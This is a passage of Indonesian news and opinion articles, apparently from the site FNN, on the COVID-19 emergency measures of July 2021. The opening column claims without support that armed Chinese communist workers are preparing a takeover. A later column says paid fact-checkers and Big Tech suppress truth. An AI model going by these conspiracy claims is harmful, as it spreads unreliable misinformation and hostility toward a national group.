Rakyat mulai kelaparan. Covid-19 semakin menjadi-jadi. Wakil Presiden Ma'ruf Amin kemarin berucap, kondisi genting. Indonesia tidak dalam keadaan yang baik-baik saja. Kecurigaan pemberlakuan mirip jam malam selama PPKM Darurat menuai selentingan. TKA China komunis disebar ke beberapa daerah strategis Indonesia. Katanya, pengkondisian. Cipta kondisi untuk agenda politik tertentu. Lagi-lagi, wajar kalau masyarakat, khususnya umat Islam curiga Penulis jadi teringat dengan kegagalan pemberontakan Partai Komunis Indonesia (PKI) pada tahun 1948 dan 1965. Kita harus belajar dari kegagalan kudeta PKI tahun 1948 dan 1965 tersebut. Konon, Komunis Gaya Baru yang sedang mengganti haluan dan tampilan. Menggunakan isu Covid-19 sebagai pintu yang strategis untuk masuk menaklukan Indonesia. Kalau dulu kita kenal angkatan kelima. Para buruh dan tani dipersenjatai. Sekarang, kabarnya TKA China komunis yang dipersenjatai. Waspada tingkat tinggi sangat diperlukan. TNI, Polri, ummat Islam dan pecinta NKRI harus mewaspadai bila skenario ini benar-benar terjadi. Selain harus waspada, jangan mau untuk diadu domba sesama anak bangsa. Saatnya TNI, Polri, ummat Islam bersama ummat beragama lain bersatu padu untuk mempertahankan NKRI dari ancaman China komunis dan Komunis Gaya Baru. Penulis adalah Pegiat Dakwah dan Sosial.

Yunani: 5000 Orang Berdemonstrasi Tolak Vaksin Covid19

Athena, FNN - Lebih dari 5.000 pengunjuk rasa anti vaksin, beberapa dari mereka mengibarkan bendera Yunani dan salib kayu, berunjuk rasa di Athena pada Rabu (14/7) untuk menentang program vaksinasi virus corona. Mereka berteriak "ambil vaksinmu dan pergi dari sini!" dan menyerukan Perdana Menteri Kyriakos Mitsotakis untuk mengundurkan diri. Para pengunjuk rasa berkumpul di luar parlemen di bawah pengawasan ketat polisi. Protes pada Rabu adalah pertunjukan oposisi terbesar terhadap upaya inokulasi. Sebuah jajak pendapat baru-baru ini oleh Pulse untuk Skai TV menemukan sebagian besar orang Yunani mengatakan mereka akan mendapatkan vaksin, dan mayoritas mendukung vaksinasi wajib untuk beberapa segmen populasi. Sekitar 41 persen orang Yunani sudah divaksin lengkap. Pada Senin, pemerintah memerintahkan vaksinasi wajib bagi petugas kesehatan dan staf panti jompo menyusul peningkatan tajam dalam infeksi baru COVID-19 di tengah musim pariwisata yang vital. "Setiap orang memiliki hak untuk memilih. Kami memilih bahwa pemerintah tidak memilih untuk kami," kata Faidon Vovolis, seorang ahli jantung. Ia mempertanyakan penelitian ilmiah seputar masker wajah dan vaksin dan mengepalai gerakan "Bebaskan Lagi" yang disebut protes. Vovolis mengatakan dia memulai kelompok itu sebagai tanggapan terhadap "langkah-langkah keras" pemerintah untuk menahan virus. Protes menjadi hal umum di Yunani. Dalam beberapa bulan terakhir ada protes mengenai undang-undang perburuhan baru hingga kampanye militer Israel terbaru di Gaza. Lebih dari 444.700 orang di Yunani telah terinfeksi sejak pandemi dimulai dan 12.782 telah meninggal. Pihak berwenang mencatat hampir 3.000 infeksi baru pada Rabu. (sws)

Kasad: RSPAD dan RS TNI AD Jadi Rujukan COVID-19 Didukung Maksimal

Jakarta, FNN - Kepala Staf Angkatan Darat Jenderal TNI Andika Perkasa mengatakan RSPAD Gatot Soebroto dan RS TNI AD yang menjadi rumah sakit rujukan COVID-19 akan mendapatkan dukungan maksimal. "TNI Angkatan Darat akan mendukung semaksimal mungkin untuk RSPAD dan RS TNI AD yang menjadi rujukan COVID-19, sehingga terus dapat memberikan pelayanan yang terbaik untuk pasien COVID-19," kata Kasad Jenderal TNI Andika Perkasa, dalam siaran TNI AD diterima di Jakarta, Jumat. Kemudian, Kasad juga memerintahkan jajaran untuk segera melengkapi kebutuhan dan penambahan fasilitas bagi rumah sakit milik TNI AD yang menjadi rujukan mengingat jumlah pasien terpapar COVID-19 yang terus meningkat. Kasad menyampaikan itu pada telekonferensi bersama RSPAD Gatot Soebroto dan RS TNI AD yang menjadi rujukan COVID-19 wilayah Pulau Jawa. "Segera kirim kebutuhan alkes dari Rumah Sakit Dustira kepada Aslog agar segera dikomunikasikan via Whatsapp dan langsung dibuat pengajuan kepada Kementerian Pertahanan," kata Kasad. Kepala Rumah Sakit Tingkat II dr Soedjono, Magelang, mengajukan soal pengadaan alat video laryngoscope yang akan digunakan untuk kebutuhan tenaga kesehatan khususnya bagian anestesi. “Kami mohon bantuan video laryngoscope bapak, karena cukup urgen untuk kebutuhan dokter anestesi saat melakukan intubasi sehingga tidak perlu melihat langsung ke dalam saluran napas atau tenggorokan pasien,” kata Kepala Rumah Sakit dr Soedjono Magelang, Kolonel Ckm dr Deddy Firmansyah. Asisten Logistik Kasad langsung menindaklanjuti permintaan tersebut. Seluruh dukungan akan diberikan kepada RSPAD Gatot Soebroto dan RS TNI AD yang menjadi rujukan COVID-19 khusus wilayah Pulau Jawa, sehingga dapat terus memaksimalkan perawatan kepada seluruh pasien COVID-19. (mth)

Faisal Basri: Peningkatan Utang Luar Negeri Bukan Hal Krusial

Jakarta, FNN - Ekonom Senior Institute For Development of Economics and Finance (INDEF) Faisal Basri mengatakan, peningkatan utang luar negeri (ULN) Indonesia di tengah COVID-19 bukanlah hal yang krusial. "ULN ke depannya masih akan naik dan saya tidak melihat ada yang krusial," ujar Faisal dalam diskusi daring di Jakarta, Jumat. Menurut dia, peningkatan ULN tidak terlalu menjadi masalah karena bentuknya mayoritas mendekati hibah yang berasal dari kerja sama bilateral, seperti dengan Bank Dunia dan Bank Pembangunan Asia (ADB). Selain itu, tingkat bunga yang harus dibayarkan saat mengembalikan pinjaman luar negeri cenderung lebih rendah, apalagi mengingat Indonesia kembali turun kelas ke kelompok negara berpendapatan menengah ke bawah. "Ini menjadi salah satu hikmah dari penurunan kelas tersebut," kata Faisal. Maka dari itu, Faisal berpendapat bahwa menarik pinjaman justru lebih baik dilakukan pemerintah saat ini dibanding menerbitkan surat utang yang memiliki bunga lebih tinggi. Di sisi lain, terdapat risiko kemungkinan penjualan kembali surat utang yang dimiliki asing ke pasar jika prospek pemulihan ekonomi Indonesia tidak menentu atau kemungkinan pulih lebih lama dari pandemi. Sebelumnya, Bank Indonesia mencatat utang luar negeri (ULN) Indonesia pada Mei 2021 sebesar 415 miliar dolar AS, turun 0,6 persen dibanding utang luar negeri periode April 2020 sebesar 417,6 miliar dolar AS, yang terutama didorong turunnya posisi ULN Pemerintah. Secara tahunan, ULN Indonesia pada Mei 2021 meningkat sebesar 3,1 persen (year-on-year/yoy), lebih rendah dibanding bulan sebelumnya sebesar 4,9 persen.Namun, struktur ULN Indonesia tetap sehat dan didukung penerapan prinsip kehati-hatian, ditunjukkan oleh dominasi ULN berjangka panjang dengan pangsa 88,5 persen. (sws)

Kebenaran vs Hoax

Oleh Komjen. Pol. Drs. Dharma Pongrekun, M.M., M.H. , Wakil Kepala Badan Siber dan Sandi Negara Jakarta, FNN - Selama hampir 2 tahun belakangan ini begitu banyak informasi-informasi yang benar namun langsung diberi label "HOAX" (berita bohong) oleh lembaga yang mengatas namakan "FACT CHECKER", tanpa memberi ruang sedikitpun kepada para penyaji informasi-informasi yang benar tersebut untuk dapat membuktikan ataupun menjelaskan argumentasi dari kebenaran informasi tersebut, sehingga masyarakat sebagai objek berita dibuat menjadi bingung dan tidak lagi memiliki kepercayaan diri serta dengan mudah dicerai beraikan hanya oleh label Hoax. Kenapa Hal Tersebut Terjadi? Karena mereka adalah lembaga yang sengaja dipersiapkan oleh "BIG TECH" dan dibayar untuk menjaga dan mengawal agenda tersembunyi daripada yang membayar tentunya, bahkan mereka pun menyiapkan sejumlah dana yang besar untuk membiayai para "BUZZER" untuk mengeroyok para penyaji informasi kebenaran tersebut dengan menggunakan akun palsu (fake account) untuk menyerang para penyajinya secara personal dengan harapan bahwa pendapat dari jumlah para Buzzer yang lebih banyak menjadi kebenaran dari hasil keroyokan yang nantinya akan dijadikan sebagai hasil survei dari pendapat Netizen. Semuanya dilakukan secara terstruktur, sistematis dan massive. Kapan Istilah Hoax Mulai Marak Dikenal Di Bangsa Kita? Ketahuilah bahwa istilah Hoax tersebut bukan berasal dari akar kata bahasa Indonesia, tetapi merupakan terminologi import yang mulai dikenal dibangsa kita sejak maraknya penggunaan gadget yang terkoneksi melalui internet baik dengan menggunakan sistem IOS pada tahun 2007 maupun pada sistem Android di tahun 2008 yang menyajikan berbagai platform media sosial yang didominasi oleh produk Bigtech sebagai kekuatan yang mengontrol arus informasi di seluruh dunia, karena Bigtech lah yang menjadi perancang utama Dunia Maya (Cyber Space) agar mereka dapat mengendalikan mindset manusia di seluruh dunia melalui opini-opini yang dibangun melalui media sosialnya dengan tujuan untuk menggiring penyeragaman pemahaman pola pikir manusia sesuai dengan agenda tersembunyi dengan menggunakan Sistem TIK (Teknologi Informasi dan Komunikasi) yang mereka kuasai tanpa disadari oleh kebanyakan manusia, karena permainan program alam bawah sadar melalui cara pengulangan (repetition) lewat medianya baik visual maupun tulisan agar terekam didalam alam bawah sadar bagi yang melihat, mendengar dan membacanya, sehingga tanpa sadar opini-opini tersebut telah membentuk pola pikirnya atau lebih tepat disebut memanipulasi pola pikir (mindset manipulation). Apa Arti Kata Hoax? Hoax sendiri bukanlah merupakan kata yang asli, tetapi berasal dari kata “hocus pocus” yang merupakan sebutan untuk trik atau tipuan yang kerap dipergunakan oleh para pesulap atau juggler. Menurut para Etimolog kata Hoax berkembang dari kata "Hocus" pada abad ke-17 yang merupakan kata benda dan kata kerja. Namun menurut Filolog Inggris Robert Nares mengatakan bahwa "hocus pocus" telah muncul pada tahun 1600-an yang merupakan mantra yang dirapalkan oleh penyihir atau pesulap pada zaman Raja James dari Inggris. “Hocus” juga merupakan kata dalam bahasa latin yang bermakna “menipu”. Apa Tujuan Awal Dipropagandakannya Istilah Hoax? Tujuan awalnya adalah untuk membangun opini sekaligus mempopulerkannya kepada semua orang tentang makna dari istilah Hoax sebagai berita yang tidak sesuai fakta atau informasi yang bohong, namun ternyata didalam melabeling suatu berita atau informasi itu Hoax atau suatu kebenaran mereka menggunakan parameter yang ternyata hanya berdasarkan apa yang telah mereka sajikan melalui mesin pencari (search enggine) yang memang sudah dikuasai juga oleh kekuatan Bigtech, agar semua orang yang melihat, mendengar dan membacanya terperdaya dan menganggap suatu kebenaran objektif, padahal itu semua adalah kebenaran berdasarkan penggiringan opini dengan tujuan untuk memuluskan agenda tersembunyi mereka. Bagaimana Cara Melabeling Suatu Berita Atau Informasi Dinyatakan Hoax? Cara mereka melabelingnya adalah dengan menggunakan kekuatan dana yang sangat besar yang disediakan oleh Bigtech untuk merekrut pion-pionnya, baik itu para Fact Cheker dari lembaga-lembaga yang selama ini dianggap oleh masyarakat sebagai lembaga yang terpercaya dan kredibel, sehingga dengan mudah memperdaya masyarakat untuk mempercayainya apapun yang mereka label sebagai berita Hoax termasuk dengan menggerakkan Sistem TIK yang dikuasai oleh Bigtech untuk melakukan Takedown, Suspend, Banned, Block dan sebagainya. Mereka juga menggunakan para Buzzer yang tersebar diseluruh akun dunia maya baik yang asli maupun yang palsu untuk mengeroyok membenarkan kebohongan itu. Walaupun substansi dari berita itu adalah benar!. Bagaimana Dampak Maraknya Labeling Berita Hoax? Dampak maraknya labeling berita Hoax oleh para Fact Checker telah menjadi sarana yang empuk untuk mengadu domba diantara anak bangsa yang ingin mempertahankan kebenaran objektif dengan mereka yang mempercayai labeling berita Hoax sebagai kebenaran yang diperkuat dengan bantuan keroyokan dari para Buzzer yang telah diendorse. Inilah dampak implikasinya kehadiran Fact Checker yang mengklaim dirinya sebagai kelompok independen yang dapat menentukan suatu berita itu benar atau hoax. Sayangnya masyarakat seringkali tidak memeriksa lebih lanjut berita tersebut dan percaya begitu saja pada label yang mereka berikan, karena masyarakat terperdaya oleh lembaga-lembaga yang dulunya dianggap kredibel dan terkadang mengedepankan pendapat dari para orang terkemuka yang dianggap sebagai ahlinya, namun nyatanya mereka tidaklah benar-benar independen melainkan mengikuti agenda dari pendananya. Hoax memang telah menjadi industri yang dapat mengisi pundi-pundi bagi para Buzzer yang menghalalkan segala macam cara demi mendapatkan uang tanpa memperdulikan keutuhan bangsa dan negara. Kesimpulan Jadi istilah Hoax itu memang sengaja disosialisakan jauh hari sebelumnya untuk dimanfaatkan oleh mereka pada waktunya, agar masyarakat sebagai objeknya tidak menduga kalau semua itu telah direncanakan jauh hari sebelumnya, karena sudah terbiasa maka masyarakat akan kehilangan kepekaannya. Munculnya istilah Hoax tersebut seiring dengan maraknya penggunaan media sosial yang dikuasai oleh kekuatan Bigtech dengan memberdayakan lembaga bayaran yang disebut Fact Checker untuk memutar balikkan kebenaran dengan dibantu oleh para Buzzer bayarannya dengan tujuan untuk memecah belah sesama anak bangsa tanpa disadari, bahkan tanpa terasa falsafah negara kita Pancasila dan UUD'45 sebagai landasan Konstitusional pun hampir tergerus oleh Sistem Global yang sedang diterapkan bila kita tidak mewaspadainya, karena tujuan akhir mereka adalah untuk mengambil alih seluruh kendali kehidupan kita (total control), baik SDA maupun SDM dari bangsa dan negara tercinta melalui rekayasa kehidupan (Life Engineering) untuk menjadikan kita budak beliannya.

Korlantas Polri Lakukan Penyekatan di 1.038 Titik Mulai 16 Juli 2021 hingga Tujuh Hari ke Depan

Jakarta, FNN - Korps Lalu Lintas (Korlantas) Polri resmi memberlakukan penyekatan di 1.038 titik yang tersebar dari Lampung, Jawa hingga Bali terhitung Jumat tanggal 16 Juli 2021 hingga tujuh hari ke depan. Kabag Ops Korlantas Polri Kombes Pol Rudi Antariksawan, Jumat, mengatakan 1.038 titik penyekatan ini diberlakukan menjelang perayaan Idul Adha 1442 Hijriah guna menekan mobilitas masyarakat di tengah tingginya penularan COVID-19. "Jadi mulai pukul 00.00 WIB tanggal 16 Juli 2021 kita mulai melakukan penyekatan di jalur tol di Kilometer 31 Cikarang," kata Rudi. Ia menjelaskan lokasi penyekatan meliputi jalan tol sebanyak 86 lokasi, 945 lokasi penyekatan di jalan non-tol, dan tujuh lokasi penyekatan di pelabuhan. Menurut Rudi, pihaknya memprediksi akan ada lonjakan mobilitas masyarakat pada momen Idul Adha sehingga mengantisipasi dengan melakukan penyekatan lebih ketat selama periode tanggal 16-22 Juli 2021. "Kami prediksi masyarakat akan memanfaatkan waktu libur Idul Adha, jadi kita antisipasi perjalanannya," kata Rudi. Rudi menyebutkan penyekatan sudah dilakukan pihaknya sejak masa pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat dimulai tanggal 3 Juli 2021 sebanyak 651 titik, lalu diperluas menjadi 998 titik, dan kini sudah mencapai 1.038 titik. Ia mengungkapkan penyekatan paling banyak dilakukan di Provinsi Jawa Barat sebanyak 353 lokasi terdiri atas 21 lokasi di jalan tol dan 332 lokasi di jalan non-tol. Selanjutnya di Jawa Tengah sebanyak 271 lokasi dan Jawa Timur sebanyak 209 titik. Lalu Provinsi Banten tersebar di 20 titik terdiri atas satu lokasi jalan tol, 17 lokasi jalan non-tol dan satu lokasi di pelabuhan. Sedangkan DKI Jakarta terdapat 100 lokasi penyekatan terdiri atas 15 lokasi jalan tol dan 85 lokasi jalan non-tol. Rudi menambahkan terdapat dua sektor yang dikecualikan dalam hal penyekatan ini, yakni sektor esensial dan kritikal. Sektor nonesensial diharapkan dapat mematuhi aturan tidak beraktivitas apabila tidak mendesak. Kebijakan sektor esensial dan kritikal diatur dalam Perubahan Kedua Instruksi Menteri Dalam Negeri Nomor 15 Tahun 2021 tentang PPKM Darurat Jawa-Bali. "Kita ketahui bersama bahwa ini situasinya dalam PPKM darurat sehingga mobilitas masyarakat dibatasi kecuali di dua sektor kritikal dan esensial," terangnya. Rudi mengimbau masyarakat yang tidak memiliki syarat perjalanan untuk mengurungkan niatnya melakukan pergerakan karena nantinya pengendara tidak diperbolehkan melanjutkan perjalan. "Apabila pelaku perjalanan tidak bisa menunjukkan syarat perjalanan seperti 'rapid test' antigen atau PCR dan tanda sudah vaksin atau sertifikat vaksin dan STRP maka yang bersangkutan akan kita putar balikkan," kata Rudi. Rudi memastikan pihaknya akan tetap mengatur arus lalu lintas agar tidak menghambat kedua sektor yang masih tetap berjalan dan mengantisipasi kepadatan arus lalu lintas hingga menimbulkan antrean kendaraan. Sebagai informasi, sektor esensial yang diperbolehkan beraktivitas pada masa PPKM darurat mencakup: 1. Keuangan dan perbankan, hanya meliputi asuransi, bank, pegadaian, dana pensiun, dan lembaga pembiayaan (yang berorientasi pada pelayanan fisik dengan pelanggan/customer). 2. Pasar modal (yang berorientasi pada pelayanan dengan pelanggan (customer) dan berjalannya operasional pasal modal secara baik). 3. Teknologi informasi dan komunikasi meliputi operator seluler, data center, internet, pos, media terkait dengan penyebaran informasi kepada masyarakat. 4. Perhotelan non penanganan karantina, dan 5. Industri orientasi ekspor di mana pihak perusahaan harus menunjukkan bukti contoh dokumen Pemberitahuan Ekspor Barang (PEB) selama 12 bulan terakhir atau dokumen lain yang menunjukkan rencana ekspor dan wajib memiliki Izin Operasional dan Mobilitas Kegiatan Industri (IOMKI) Sedangkan sektor kritikal memiliki banyak cakupan: 1. Kesehatan 2. Keamanan dan ketertiban masyarakat 3. Penanganan bencana 4. Energi 5. Logistik, transportasi dan distribusi terutama untuk kebutuhan pokok masyarakat 6. Makanan dan minuman serta penunjangnya, termasuk untuk ternak/hewan peliharaan 7. Pupuk dan petrokimia 8. Semen dan bahan bangunan 9. Obyek vital nasional 10. Poryek strategis nasional 11. Konstruksi (infrastruktur publik) 12. Utilitas dasar (listri, air dan pengelolaan sampah). (sws)

Ketua DPD RI Minta Petugas PPKM Lebih Peka

Jakarta, FNN - Ketua DPD RI AA LaNyalla Mahmud Mattalitti meminta petugas lapangan pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat lebih sensitif saat menjalankan tugas. LaNyalla dalam keterangannya di Jakarta, Jumat, meminta hal itu karena menanggapi sejumlah keluhan pengusaha sektor kritikal dan esensial yang aktivitasnya terganggu selama PPKM darurat. "Sektor kritikal dan esensial ini seharusnya tidak mendapat gangguan karena dua sektor itulah yang utama dan sangat diprioritaskan sesuai Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 18 Tahun 2021," kata LaNyalla. Namun, lanjut dia, ada ketidakseragaman interpretasi petugas di lapangan akibatnya aktivitas di dua sektor itu menjadi terhambat. LaNyalla mencontohkan keluhan pengusaha yang tergabung dalam Kadin Jawa Timur. Mereka, kata dia, banyak yang terhambat dalam distribusi barang karena terjadi penyekatan sejumlah ruas jalan, termasuk penutupan seluruh pintu keluar tol di Jawa Tengah, 16-22 Juli 2021. Padahal, barang-barang yang dikirim termasuk dalam kategori esensial dan kritikal. "Ada pengusaha logistik dan distribusi barang utama yang tertahan dan harus melakukan lobi kepada atasan si petugas supaya bisa lewat. Ini kan karena tidak pahamnya petugas di lapangan," ucap dia. Keluhan, katanya, juga disampaikan pelaku usaha restoran, warung makan, pedagang kaki lima, dan UMKM. Pelaksanaan PPKM darurat dinilai terlalu berlebihan padahal mereka sudah melaksanakan aturan 'take away'. "Termasuk banyak yang protes adanya aturan jam malam. Sebaiknya pelaku usaha seperti ini diberi kelonggaran," kata LaNyalla. Senator asal Jawa Timur itu menyarankan agar petugas PPKM darurat di lapangan mengerti sektor apa saja yang diberi relaksasi. "Pemerintah perlu segera mengevaluasi pelaksanaan PPKM darurat di lapangan yang terlalu "over acting", bahkan menuai kontroversi. Harus gerak cepat untuk memperbaikinya," kata Mantan Ketua PSSI itu. LaNyalla menegaskan sektor esensial dan kritikal harus dipastikan tidak terganggu dalam distribusi selama penerapan PPKM darurat. "Cukup misalnya menunjukkan ID card atau dokumen yang simpel atau dari bentuk angkutannya, para petugas di lapangan sudah paham," kata LaNyalla. LaNyalla tidak ingin pelaksanaan PPKM darurat menjadi tidak maksimal karena ketidakmampuan petugas di lapangan dalam menerjemahkan aturan. "PPKM darurat diniatkan untuk pengendalian laju COVID-19. Namun jangan sampai pelaksanaannya terkesan melupakan kebutuhan utama masyarakat. Artinya keduanya harus berjalan beriringan," ujarnya. (sws)

Gelora: Pembelahan Politik Ganggu Penanganan Pandemi Covid19

Jakarta, FNN - Sekretaris Jenderal Partai Gelora Mahfuz Sidik menilai pembelahan politik di masyarakat sebagai dampak Pemilihan Presiden (Pilpres) 2019 dapat menghambat dan mengganggu program pemerintah dalam penanganan pandemi COVID-19, terutama program vaksinasi untuk memberikan kekebalan kelompok atau "herd immunity" di tengah masyarakat. "Saya cukup khawatir bahwa situasi ini akan menciptakan bias kebijakan politik, dan juga bias persepsi terhadap kebijakan-kebijakan politik di dalam penanganan pandemi COVID-19," kata Mahfuz Sidik dalam keterangannya, di Jakarta, Jumat. Menurut dia, suasana pembelahan politik di Indonesia jauh berbeda dengan yang terjadi dalam Pilpres Amerika Serikat (AS). Dia menjelaskan, pembelahan politik di AS selesai saat Joe Biden terpilih sebagai Presiden, rakyat AS pun mendukung program pemerintah dalam penanganan pandemi COVID-19, terutama vaksinasi. "Tapi di Indonesia nampaknya berbeda, Pilpres 2019 tidak pernah selesai dan bahkan suasana Pilpres 2024 sudah mulai ada asapnya. Judul kita di Indonesia 'Berjuang Melawan Pandemi COVID-19 di tengah pilpres yang tidak kunjung usai'," ujarnya. Mahfuz mengutip data hasil persepsi publik Lembaga Survei Median terkait penanganan pandemi COVID-19 yang terungkap hanya 51,1 persen masyarakat percaya dengan vaksin, dan 48,9 persen tidak percaya vaksin. Selanjutnya, menurut dia, sebanyak 51,8 persen yang sadar dengan risiko dan bahaya COVID-19, sementara 48,2 persen tidak sadar dan takut risiko dan bahaya COVID-19. "Jadi ini memang situasi yang rumit, bukan saja refleksi dari situasi pembelahan politik akibat pilpres yang belum tuntas, tapi juga situasi disinformasi yang masih terus berlanjut. Hoaks tentang COVID-19 seringkali bercampur baur dengan berita-berita hoaks tentang polarisasi politik," katanya. Dia juga mengutip hasil survei Median, bahwa berdasarkan basis pilihan politik, ternyata pendukung Jokowi (Joko Widodo) pada Pilpres 2019 lebih banyak pro-vaksin dengan angka mencapai 62,2 persen. Namun, menurut dia, berdasarkan survei Median itu, juga ditemukan bahwa pendukung Prabowo Subianto pada Pilpres 2019 yang percaya vaksin hanya 35,7 persen. Karena itu, dia menyarankan apabila ingin program vaksinasi dapat berjalan tuntas, maka Presiden Jokowi dan Prabowo duduk bersama bicara kepada publik terkait urgensi vaksin COVID-19. "Jadi kelihatannya kalau vaksinasi di Indonesia mau tuntas, bukan Pak Luhut (Luhut B Panjaitan) Menko Kemaritiman dan Investasi yang bicara, namun harus Pak Jokowi dan Pak Prabowo duduk bareng bicara ke publik bahwa vaksin COVID-19 kewajiban bagi kita semua," ujarnya lagi. Mahfuz menilai krisis kesehatan akibat pandemi COVID-19 saat ini sedang bergerak menuju krisis ekonomi, dan diperkirakan akan berlanjut menjadi krisis sosial dan krisis politik, jika tidak dikelola dengan tepat. Hal itu, menurut dia, terlihat dari gejala frustasi dan kemarahan di masyarakat, misalnya aparat yang melakukan penegakan disiplin Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat di Jawa Timur malah diamuk massa. Karena itu, dia berharap Pemerintah belajar dari negara-negara lain yang relatif berhasil dalam mengatasi pandemi COVID-19, sehingga Indonesia memiliki ketahanan nasional dalam perang melawan COVID-19. "Ada tiga hal yang perlu dilakukan Pemerintah dalam membangun ketahanan nasional. Pertama, meningkatkan kesadaran kolektif, kedua, membuat kebijakan-kebijakan yang terarah, dan ketiga, membangun solidaritas nasional," katanya pula. Menurut dia, tiga hal tersebut harus dibangun dalam membangun ketahanan nasional sehingga dibutuhkan pembenahan menyeluruh dalam berbagai aspek, bukan saja di pemerintahan, tapi terlebih juga di masyarakat. (sws)

Muhadjir Effendy Sebut Indonesia Sudah Darurat Militer Hadapi Pandemi COVID-19

Yogyakarta, FNN - Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan (Menko PMK) Muhadjir Effendy menyebut Indonesia sudah dalam situasi darurat militer menghadapi pandemi COVID-19. "Sebetulnya pemerintah sekarang ini walaupun tidak di-'declare', kita ini kan dalam keadaan darurat militer. Jadi kalau darurat itu kan ukurannya tertib sipil, darurat sipil, darurat militer, darurat perang. Nah sekarang ini sebetulnya sudah darurat militer," kata Muhadjir Effendy ditemui saat mengunjungi Hotel University Club UGM yang dijadikan shelter pasien COVID-19 di Yogyakarta, Jumat. Ia menyebut Indonesia dalam situasi darurat militer karena saat ini harus menghadapi musuh yakni COVID-19 yang tidak kasat mata. "Musuh tidak terlihat ini dalam pertempurannya tidak memakai kaidah-kaidah hukum perang karena semua orang dianggap kombatan oleh COVID-19 ini," tutur Muhadjir. Menurut dia, dulu ibu hamil serta anak-anak di Tanah Air belum banyak terpapar COVID-19, namun saat ini tidak sedikit dari mereka yang menjadi korban. "Yang meninggal mulai banyak. Berarti ini perang asimetris menghadapi COVID-19," ucap dia. Dengan alasan itu, menurut Muhadjir, Presiden Joko Widodo telah menerjunkan TNI dan Polri untuk ikut menangani COVID-19 karena sudah tidak bisa dihadapi dengan penanganan biasa. "Ini darurat-nya sudah darurat militer, hanya musuhnya memang bukan militer konvensional tapi 'pasukan' tidak terlihat," tutur-nya. Muhadjir menuturkan apa pun istilah yang digunakan dalam menangani COVID-19, baik PPKM darurat atau bahkan PPKM super darurat, selama masyarakat tidak mau kompromi menahan diri melanggar prokes maka penanganan COVID-19 tidak akan berhasil. "Jika tidak menyadari bahwa prokes adalah menjadi yang utama, penanganan COVID-19 ya tidak berhasil," kata dia. (sws)

Bamsoet Ingatkan Pemerintah Soal Perpanjangan PPKM Darurat

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo mengingatkan pemerintah untuk mengantisipasi potensi penurunan pertumbuhan ekonomi akibat perpanjangan pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat. "Saya meminta pemerintah menjaga keseimbangan perekonomian nasional dan mempersiapkan kondisi pemerintah dalam menghadapi potensi menurunnya pertumbuhan ekonomi nasional, untuk kemudian dapat ditentukan langkah antisipasi yang tepat," ujar Bamsoet, panggilan akrabnya, dalam siaran pers di Jakarta, Jumat. Dia meminta Kementerian Sosial segera melaksanakan program perlindungan sosial bagi masyarakat terdampak pandemi COVID-19, baik program bansos maupun prakerja, dikarenakan rencana perpanjangan PPKM darurat diperkirakan akan semakin membuat perekonomian masyarakat menyusut. Selain itu, dia meminta pemerintah dapat mempertimbangkan kembali jumlah ataupun nilai dari bantuan yang akan diberikan. Bamsoet juga meminta Kementerian Pariwisata dan Ekonomi Kreatif serta Kementerian Perhubungan memperhatikan sektor-sektor yang sensitif terhadap penurunan mobilitas, seperti retail, perhotelan, restoran dan transportasi, serta berkomitmen memastikan adanya langkah antisipasi yang dilakukan guna mencegah terjadinya pemutusan hubungan kerja (PHK). Dia juga meminta pemerintah daerah agar fokus dalam melakukan pemokusan kembali (refocusing) anggaran untuk penanganan COVID-19, sehingga seluruh sektor dapat bergerak dan diberdayakan secara maksimal. (sws)

Anis Matta Minta Kader Gelora Sukseskan Vaksinasi Covid19

Jakarta, FNN – Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta meminta kepada seluruh fungsionaris dan anggota berpartipasi dalam program vaksinasi Covid-19 yang dicanangkan pemerintah di wilayahnya masing-masing. Seruan tersebut disampaikan Anis Matta dalam Surat Edaran Nomor: 123/EDR/DPN-GLR/VII/2021 Tentang Partisipasi Dalam Program Vaksinasi yang ditekennya pada Selasa (6/7/2021), kepada 34 Dewan Pimpinan Wilayah (DPW) dan 514 Dewan Pimpinan Daerah (DPD) Partai Gelora Indonesia “Berkenaan dengan melonjaknya angka penderita Covid-19 dan varian barunya yang lebih ganas, juga mempertimbangkan kepentingan kerja organisasi dan kesehatan jajaran fungsionaris dan anggota. Maka Dewan Pimpinan Nasional (DPN) Partai Gelora Indonesia menyerukan partisipasi dalam program vaksinasi,” kata Anis Matta dalam keterangannya, Rabu (7/7/2021). Menurut Anis Matta, hal itu supaya target ‘herd immunity’ segera tercapai agar Indonesia di harapkan bebas dari Coronavirus (Covid-19) dan mengakhiri ketidakpastian akibat krisis pandemi saat ini. “Seluruh fungsionaris dan anggota Partai Gelora Indonesia diminta untuk mengikuti program vaksinasi Covid-19 di daerahnya masing-masing,” tegas Anis Matta. Partisipasi tersebut, lanjutnya, ini dengan memperhatikan ketentuan dan syarat bagi setiap peserta vaksinasi. Anis Matta juga meminta DPW dan DPD untuk membuka komunikasi dengan Institusi Kepolisian dan Rumah Sakit setempat yang memungkinkan dilakukan kerjasama program vaksinasi di kantor DPW dan atau DPD. “Kepada seluruh jajaran Fungsionaris dan Anggota agar disiplin dalam penerapan protokol kesehatan, khususnya 3M (memakai masker, menjaga jarak dan mencuci tangan) terutama untuk kegiatan yang bersifat langsung dan tatap muka, ujarnya. Anis Matta berharap surat edaran ini mendapatkan perhatian dan dilaksanakan semaksimal mungkin oleh seluruh fungsionaris dan anggota Partai Gelora se-Indonesia. “Demikian surat edaran ini kami sampaikan untuk mendapat perhatian dan dilaksanakan semaksimal mungkin. Semoga Allah SWT senantiasa melimpahkan kesehatan dan kesembuhan kepada kita semua. Wassalamualaikum Wr. Wb.,” pungkas Anis Matta. Seperti diketahui, program vaksinasi Covid-19 yang dijalankan pemerintah telah dimulai sejak Pebruari 2021 lalu. Pemerintah menargetkan sasaran vaksinasi sebanyak 181.554.465 jiwa atau 70 persen populasi Indonesia untuk membentuk herd immunity. Mulai Juli 2021, target vaksinasi harian menyentuh angka 1 juta vaksinasi per hari dan pada Agustus 2 juta vaksinasi per hari. Hingga Selasa (6/7/2021) sebanyak 33.176.029 orang telah menerima vaksin Covid-19 dosis pertama, Sedangkan penerima vaksin Covid-19 hingga dosis kedua atau lengkap sebanyak 14.267.980 orang. Sementara kasus Covid-19 di Indonesia hingga Rabu (7/7/2021), berjumlah 2.379.397 sejak ditemukan pada 